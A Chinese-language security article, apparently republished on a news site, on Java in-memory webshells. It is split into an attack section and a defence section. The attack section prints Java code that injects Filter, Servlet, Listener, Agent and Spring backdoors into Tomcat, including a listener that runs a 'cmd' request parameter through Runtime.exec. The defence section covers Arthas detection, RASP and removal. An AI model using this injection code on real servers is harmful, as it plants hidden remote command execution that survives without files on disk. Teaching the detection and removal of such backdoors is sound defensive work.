攻防视角下的内存webshell"

admin 2026-10-18 20:21:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

攻防视角下的内存webshell

alex
alex

安全驾驶舱

2026年6月29日 17:22
广东

在小说阅读器读本章

去阅读

引言

Webshell 是攻击者获取服务器持久化控制权的常用后门。传统 Webshell 以文件形式存在于磁盘,容易被杀毒软件、文件完整性检测工具发现。随着攻防对抗升级,内存 Webshell 应运而生——它不写入磁盘,仅驻留在 Java 应用运行时内存中,利用反射、动态类加载、Instrumentation 等机制注入到 Web 容器或 JVM 内部,实现“无文件落地”的隐蔽后门。本文从攻击者与防御者双重视角,深入剖析 Java 内存 Webshell 的原理、实现、检测与清除技术。

*一、攻击篇:内存 Webshell 的实现与注入*

1、核心原理****

Java 内存 Webshell 的本质是在运行时向 Web 容器或 JVM 动态注册一个恶意组件,使其能够处理后续的 HTTP 请求或系统事件。其实现依赖于以下 Java 特性:

反射:获取容器内部私有对象(如 Tomcat 的 StandardContext),调用私有方法。

动态类加载:通过 ClassLoader.defineClass() 加载字节码,无需 .class 文件。

Instrumentation:通过 Java Agent 在类加载时修改字节码,或重转换已有类。

容器组件模型:Tomcat、Spring 等容器采用组件树结构,可通过反射添加 Filter、Servlet、Listener 等。

2、常见类型****

2.1、Filter 型内存马

原理:向 StandardContext的filterConfigs 中添加自定义Filter,并注册URL映射(通常为 /\*)。

触发:所有请求经过该 Filter,在doFilter中解析参数并执行命令。

示例代码(Tomcat 8/9):

// 获取 StandardContextField reqF = request.getClass().getDeclaredField(\"request\");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 FilterDef 和 FilterMapFilterDef filterDef = new FilterDef();filterDef.setFilter(new CommandFilter());filterDef.setFilterName(\"shell\");context.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern(\"/*\");filterMap.setFilterName(\"shell\");context.addFilterMapBefore(filterMap);// 手动构造 ApplicationFilterConfig 并放入缓存Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);context.getFilterConfigs().put(\"shell\", filterConfig);

2.2、Servlet型内存马

原理:向 StandardContext 中添加 Wrapper(代表 Servlet),并注册路径映射。

触发:访问特定路径(如 /abc)时执行恶意 Servlet 的 service 方法。

示例代码:

Wrapper wrapper = context.createWrapper();wrapper.setName(\"shellServlet\");wrapper.setServlet(new CommandServlet());wrapper.setServletClass(CommandServlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded(\"/abc\", \"shellServlet\");

2.3、Listener 型内存马

原理:向StandardContext的applicationEventListeners 中添加 ServletRequestListener,监听请求事件。

触发:每次请求到达时,requestInitialized 方法被调用,执行恶意逻辑。

示例代码(Tomcat 8/9):

// 1. 定义恶意 Listener 类public class ShellListener implements ServletRequestListener {    @Override    public void requestDestroyed(ServletRequestEvent sre) {        // 不需要操作    }    @Override    public void requestInitialized(ServletRequestEvent sre) {        HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();        String cmd = req.getParameter(\"cmd\");        if (cmd != null) {            try {                Process process = Runtime.getRuntime().exec(cmd);                // 将结果写入 response(需获取 response 对象,此处省略)            } catch (Exception e) {                e.printStackTrace();            }        }    }}// 2. 注入代码(通过反射获取 StandardContext 并添加 Listener)// 获取 StandardContext(与 Filter 型相同)Field reqF = request.getClass().getDeclaredField(\"request\");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 Listener 实例并添加到 applicationEventListeners 列表ShellListener listener = new ShellListener();// 通过反射获取 applicationEventListeners 字段Field listenersField = StandardContext.class.getDeclaredField(\"applicationEventListeners\");listenersField.setAccessible(true);Object[] listeners = (Object[]) listenersField.get(context);// 扩展数组并添加新 ListenerObject[] newListeners = Arrays.copyOf(listeners, listeners.length + 1);newListeners[newListeners.length - 1] = listener;listenersField.set(context, newListeners);// 可选:同时更新 applicationEventListenerInstances(某些版本需要)Field instancesField = StandardContext.class.getDeclaredField(\"applicationEventListenerInstances\");instancesField.setAccessible(true);List<Object> instances = (List<Object>) instancesField.get(context);instances.add(listener);

注意:不同Tomcat 版本字段名可能不同,例如 7.x 中可能为 applicationEventListeners 或 listeners,需根据实际情况调整。

2.4、Agent 型内存马

原理:通过 Java Agent 注册 ClassFileTransformer,在类加载时修改字节码,或使用 retransformClasses 重转换已有类(如 Runtime.exec)。

特点:可全局拦截,但需要目标 JVM 支持 Attach 或启动时指定 Agent。

持久化:通常需写入 MANIFEST.MF 或利用漏洞动态加载 Agent。

示例:(Agent 代码):

// Agent 类(需在 MANIFEST.MF 中指定 Premain-Class 或 Agent-Class)public class EvilAgent {    public static void premain(String agentArgs, Instrumentation inst) {        inst.addTransformer(new ClassFileTransformer() {            @Override            public byte[] transform(ClassLoader loader, String className,                                    Class<?> classBeingRedefined,                                    ProtectionDomain protectionDomain,                                    byte[] classfileBuffer) {                // 只修改 java.lang.Runtime 类                if (\"java/lang/Runtime\".equals(className)) {                    // 使用 ASM 或 Javassist 修改字节码                    // 在 exec 方法中插入恶意代码(例如记录参数或执行额外命令)                    // 此处为简化,直接返回原始字节码                    return classfileBuffer;                }                return null;            }        });    }    // 也可通过 agentmain 动态附加    public static void agentmain(String agentArgs, Instrumentation inst) {        premain(agentArgs, inst);    }}

注入方式:

启动时注入:在 JVM 启动参数中添加 -javaagent:evil.jar。

运行时注入:通过 VirtualMachine.attach() 加载 Agent(需目标 JVM 权限):

// 利用漏洞执行以下代码import com.sun.tools.attach.VirtualMachine;VirtualMachine vm = VirtualMachine.attach(\"PID\");vm.loadAgent(\"/path/to/evil.jar\", \"\");vm.detach();

检测难度:Agent 型内存马通常不注册到容器组件中,而是修改核心类,因此常规的 Filter/Servlet 扫描无法发现。需要通过检测 Instrumentation 中注册的 ClassFileTransformer 或分析字节码差异来发现。

2.5、Spring 型内存马

原理:利用 Spring 的 ApplicationContext 动态注册 @RequestMapping 方法或拦截器。

方式:通过 RequestMappingHandlerMapping.registerMapping() 注册新的 URL 映射。

通过 InterceptorRegistry.addInterceptor() 添加自定义拦截器。

示例(注册 Controller):

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);PatternsRequestCondition condition = new PatternsRequestCondition(\"/shell\");RequestMappingInfo info = new RequestMappingInfo(condition, ...);mapping.registerMapping(info, new Object(), CommandController.class.getMethod(\"execute\", ...));

3、内存马注入方式

攻击者通常通过以下漏洞或手段注入内存马:

· 反序列化漏洞(Fastjson、Jackson、Shiro):利用反序列化链执行反射代码,动态注册内存马。

· JSP 文件上传/包含:上传包含注册代码的 JSP 文件,执行后自动删除文件(无文件残留)。

· 命令执行漏洞(Struts2、Spring EL):通过命令执行写入字节码或直接反射注册。

· Java Agent 动态附加:利用 VirtualMachine.attach() 加载恶意 Agent(需目标 JVM 权限)。

· SSRF + 内部接口:利用 SSRF 访问 Tomcat Manager 或 JMX 接口,通过 HTTP 操作注册组件。

*二、防御篇:检测、清除与预防*

1、检测方法

1.1、基于容器组件扫描

遍历 Filter/Servlet/Listener:通过 JMX 或反射获取 StandardContext 中的 filterConfigs、children、applicationEventListeners,与已知基线对比。

工具:Arthas(sc -d \*Filter)、java-memshell-scanner。

*Arthas排查步骤:*

n启动 Arthas 并连接目标进程

java -jar arthas-boot.jar

n搜索可疑 Filter 类

列出所有实现 javax.servlet.Filter 的类

sc -d \*Filter

关注类名异常(如包含 cmd、exec、shell、Anonymous 等)或包名异常的类

反编译可疑类确认

jad com.example.SuspiciousFilter

n搜索可疑 Servlet 类,Listener类

sc -d \*Servlet

sc -d \*ServletRequestListener

n监控敏感 API 调用,定位内存马触发点

监控 Runtime.exec 的调用栈

watch java.lang.Runtime exec \"{params,throwExp}\" -x 3

stack java.lang.Runtime exec -v

监控 ProcessBuilder.start

watch java.lang.ProcessBuilder start \"{params,throwExp}\" -x 3

stack java.lang.ProcessBuilder start -v

当有请求触发内存马时,会打印出调用栈,从中可以看到是哪个 Filter/Servlet/Listener 发起的。

java-memshell-scanner排查步骤:

n将工具上传到网站根路径:

将相应的可疑类dump为字节码,再导入到jd-gui中做反编译:

根据反编译的类和方法,分析可疑类是否为webshell代码。

1.2、基于字节码分析

·反编译可疑类:使用 jad 命令(Arthas)或 CFR 反编译,检查是否包含 Runtime.exec、ProcessBuilder、getRuntime 等敏感调用。

·动态类加载监控:记录所有通过 ClassLoader.defineClass 加载的类,分析其来源。

1.3、基于行为监控(RASP)

· RASP(Runtime Application Self-Protection):在运行时Hook 敏感 API(如 Runtime.exec、ProcessBuilder.start、反射获取 StandardContext),记录调用栈,识别异常来源。

· 工具:OpenRASP、商业 RASP 产品。

1.4、基于日志与流量分析

· Web 日志异常:发现对非正常路径(如 /shell、/abc)的请求,且携带 cmd、exec 等参数。

· 流量特征:响应中包含系统命令输出结果(如 whoami 的输出)。

1.5、基于内存快照分析

· 堆转储:使用 jmap 导出堆,用 Eclipse MAT 分析,查找异常类实例。

· 类加载器分析:检查是否存在自定义 ClassLoader 加载的恶意类。

2、清除方法

2.1、通过 Arthas 反射删除

利用 Arthas 的 ognl 命令执行反射代码,从容器组件树中移除恶意对象。

删除 Filter 型内存马示例:

ognl -x 3 \\'#[email protected]@class.getDeclaredField(“lastServicedRequest”),  #req=#ctx.get(null),  #ctx=#req.getContext(), #filterConfigs=#ctx.getClass().getDeclaredField(“filterConfigs”), #filterConfigs.setAccessible(true), #map=#filterConfigs.get(#ctx), #map.remove(“y4tacker”),#filterDefs=#ctx.getClass().getDeclaredField(“filterDefs”),#filterDefs.setAccessible(true), #defs=#filterDefs.get(#ctx), #defs.remove(“evilFilter”),#filterMaps=#ctx.getClass().getDeclaredField(“filterMaps”), #filterMaps.setAccessible(true), #maps=#filterMaps.get(#ctx), #maps.removeIf(#m -> #m.getFilterName().equals(“evilFilter”))'

删除Servlet型内存马示例:

ognl -x 3 \\'#[email protected]@class.getDeclaredField(\"lastServicedRequest\"),  #ctx.setAccessible(true),  #req=#ctx.get(null),  #context=#req.getContext(),  #children=#context.getClass().getDeclaredField(\"children\"),  #children.setAccessible(true),  #childMap=#children.get(#context),  #childMap.remove(\"evilServlet\"),  #servletMappings=#context.getClass().getDeclaredField(\"servletMappings\"),  #servletMappings.setAccessible(true),  #mappings=#servletMappings.get(#context),  #mappings.remove(\"/evil\")'

删除 Spring Controller 示例:

ognl -x 3 \\'#[email protected]@getCurrentWebApplicationContext(),  #mapping=#ctx.getBean(\"requestMappingHandlerMapping\"),  #handlerMethods=#mapping.getClass().getDeclaredField(\"handlerMethods\"),  #handlerMethods.setAccessible(true),  #map=#handlerMethods.get(#mapping),  #map.keySet().removeIf(#info -> #info.getPatternsCondition().getPatterns().contains(\"/shell\"))'

2.2、重启应用

内存马默认随 JVM 重启消失,但需先清除持久化配置(如写入 server.xml、数据库等)。

重启前建议导出堆转储,用于取证分析。

2.3、使用RASP自动阻断

部署 RASP 后,可配置规则自动移除恶意组件或拦截其执行。

3、预防措施

修复漏洞:及时修补反序列化、命令执行、文件上传等漏洞,阻断注入入口。

最小化权限:应用运行账号使用低权限用户,限制 Runtime.exec 等敏感 API 的调用。

部署 RASP:在应用层嵌入安全防护,实时监控和拦截内存马注入行为。

加强日志审计:记录所有反射调用、动态类加载、敏感 API 调用日志,便于溯源。

定期扫描:使用内存马检测工具(如 java-memshell-scanner)对生产环境进行定期扫描。

使用 Java Agent 白名单:限制仅允许签名的 Agent 加载。

参考资料:

内存马载荷生成工具:https://github.com/frohoff/ysoserial

java对象检索工具:https://github.com/c0ny1/java-object-searcher

内存马扫描工具:https://github.com/c0ny1/java-memshell-scanner

java故障排查工具:https://github.com/alibaba/arthas

内存马资源:https://github.com/su18/MemoryShell

END


攻防视角下的内存webshell" 网络安全文章

攻防视角下的内存webshell"

本文从攻防双视角剖析Java内存Webshell的原理、实现与检测清除技术。内存Webshell利用反射、动态类加载等机制注入到Web容器或JVM内存中,实现无文件落地后门。常见类型包括Filter型、Servlet型、Listener型、Agent型和Spring型。注入方式主要通过反序列化漏洞、命令执行等。文章提供了各类型注入代码示例,并指出Agent型检测难度最高。
主机入侵痕迹自动化排查工具(Shell脚本)" 网络安全文章

主机入侵痕迹自动化排查工具(Shell脚本)"

该文档介绍了一款针对Java容器环境的主机入侵痕迹自动化排查Shell脚本,覆盖系统基线、可疑进程、网络连接、Docker容器、登录审计、定时任务等全维度检测,执行后自动生成带时间戳的审计日志,旨在帮助安全运维人员快速定位入侵痕迹并缩短应急响应时间。脚本提供了详细的排查命令和结果汇总,并给出了Windows换行符兼容修复建议。
Linux内核曝高危提权漏洞" 网络安全文章

Linux内核曝高危提权漏洞"

Linux内核流量控制子系统曝高危提权漏洞CVE-2026-46331(PeditCow),影响v5.18至v7.1-rc7内核。因tcf_pedit_act()函数写时复制机制存在执行顺序错误,非特权用户可通过用户命名空间利用该漏洞篡改页缓存获取root权限。PoC已公开,建议立即安装补丁或临时禁用act\\_pedit模块及非特权用户命名空间。
Windows安全启动证书过期危机" 网络安全文章

Windows安全启动证书过期危机"

MicrosoftSecureBoot2011版证书于2026年6月24日起陆续过期,未迁移至2023版证书的设备虽可正常启动,但将丧失对新型引导级恶意软件的防护能力,且无法接收后续安全启动数据库更新。企业需通过OEM固件更新和Windows证书部署两阶段流程完成迁移,关键截止日期为2026年10月19日。
评论:0   参与:  0